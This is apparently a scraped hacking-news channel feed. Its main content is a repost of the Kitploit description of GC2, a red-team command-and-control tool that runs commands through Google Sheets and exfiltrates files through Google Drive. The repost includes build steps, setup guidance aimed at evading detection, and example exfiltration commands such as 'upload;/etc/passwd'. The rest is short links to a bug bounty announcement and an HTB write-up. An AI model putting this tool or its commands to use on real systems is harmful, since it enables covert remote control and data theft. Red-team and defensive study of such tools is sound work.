Hacking Articles Tips Tricks Videos Tutorials

Blizzard’s Bug Bounty Program on Immunefi

Pleased to announce Blizzard is doing a bug bounty program on Immunefi.com, DeFi’s leading bug bounty platform! Ethical hackers can review…Continue reading on Medium »
Read more...

12 views10:47

GC2 - A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive
http://www.kitploit.com/2021/10/gc2-command-and-control-application.html

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

11 viewsedited 11:31

Hacking Articles Tips Tricks Videos Tutorials

9 views11:31

Hacking Articles Tips Tricks Videos Tutorials

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.
Why
This program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming (https://www.kitploit.com/search/label/Red%20Teaming) activities.Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.PS: Please don't upload the compiled binary (https://www.kitploit.com/search/label/Binary) on VirusTotal (https://www.kitploit.com/search/label/VirusTotal) :)
Set up
Build executablegit clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
go build gc2-sheet.goCreate a new google "service account"Create a new google "service account" using https://console.cloud.google.com/, create a .json key file for the service accountEnable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go
Set up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor (https://www.kitploit.com/search/label/Editor) group of the spreadsheet (to add the service account use its email)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.

10 viewsedited 11:31

Hacking Articles Tips Tricks Videos Tutorials

9 views11:31

Hacking Articles Tips Tricks Videos Tutorials

Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)

___________________________
@hacking_Attack
@Hacking_Video

9 viewsedited 11:31

Hacking Articles Tips Tricks Videos Tutorials

9 views11:31

Hacking Articles Tips Tricks Videos Tutorials

Start the C2 --sheet --drive ">gc2-sheet --key --sheet --drive
PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)
Features
Command execution using Google Sheet as a consoleDownload files on the target using Google DriveData exfiltration (https://www.kitploit.com/search/label/Exfiltration) using Google DriveExit
Command execution
The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column "A", and the output will be printed in the column "B".
Data exfiltration file
Special commands are reserved to perform the upload and download to the target machine Example: upload;/etc/passwd ">From Target to Google Drive
upload;
Example:
upload;/etc/passwd

Download file
Special commands are reserved to perform the upload and download to the target machine; Example: download;;/home/user/downloaded.txt ">From Google Drive to Target
download;;
Example:
download;;/home/user/downloaded.txt

Exit
By sending the command exit, the program will delete itself from the target and kill its processPS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.
WorkFlow

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.

9 viewsedited 11:31

Hacking Articles Tips Tricks Videos Tutorials

9 views11:31

Hacking Articles Tips Tricks Videos Tutorials

Demo

Download GC2-sheet (https://github.com/looCiprian/GC2-sheet)

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - looCiprian/GC2-sheet: GC2 is a Command and Control application that allows an attacker to execute commands on the target…

GC2 is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet or Microsoft SharePoint List and exfiltrate files using Google Drive or...

10 viewsedited 11:31

Hacking Articles Tips Tricks Videos Tutorials

GC2 - A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive

GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.WhyThis program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.PS: Please don't upload the compiled binary on VirusTotal :)Set upBuild executablegit clone https://github.com/looCiprian/GC2-sheetcd GC2-sheetgo build gc2-sheet.goCreate a new google "service account"Create a new google "service account" using https://console.cloud.google.com/, create a .json key file for the service accountEnable Google Sheet API and Google Drive APIEnable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/goSet up Google Sheet and Google DriveCreate a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email) Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)Start the C2gc2-sheet --key --sheet --drive PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)FeaturesCommand execution using Google Sheet as a consoleDownload files on the target using Google DriveData exfiltration using Google DriveExitCommand executionThe program will perform a request to the spreedsheet every 5 sec to check if there are some new commands. Commands must be inserted in the column "A", and the output will be printed in the column "B".Data exfiltration fileSpecial commands are reserved to perform the upload and download to the target machineFrom Target to Google Driveupload;Example:upload;/etc/passwdDownload fileSpecial commands are reserved to perform the upload and download to the target machineFrom Google Drive to Targetdownload;;Example:download;;/home/user/downloaded.txtExitBy sending the command exit, the program will delete itself from the target and kill its processPS: From os documentation: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.WorkFlowDemoDownload GC2-sheet
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Google for Developers

Configure a Drive UI integration | Google Drive | Google for Developers

11 viewsedited 12:17

Hacking Articles Tips Tricks Videos Tutorials

8 views12:45

Hacking Articles Tips Tricks Videos Tutorials

7 views12:45

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
Partial write-up for Horizontall [HTB]

https://cdn-images-1.medium.com/max/859/1*kErZscxW7U9MR_1geZdqzQ.png
Recon

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

Partial write-up for Horizontall [HTB]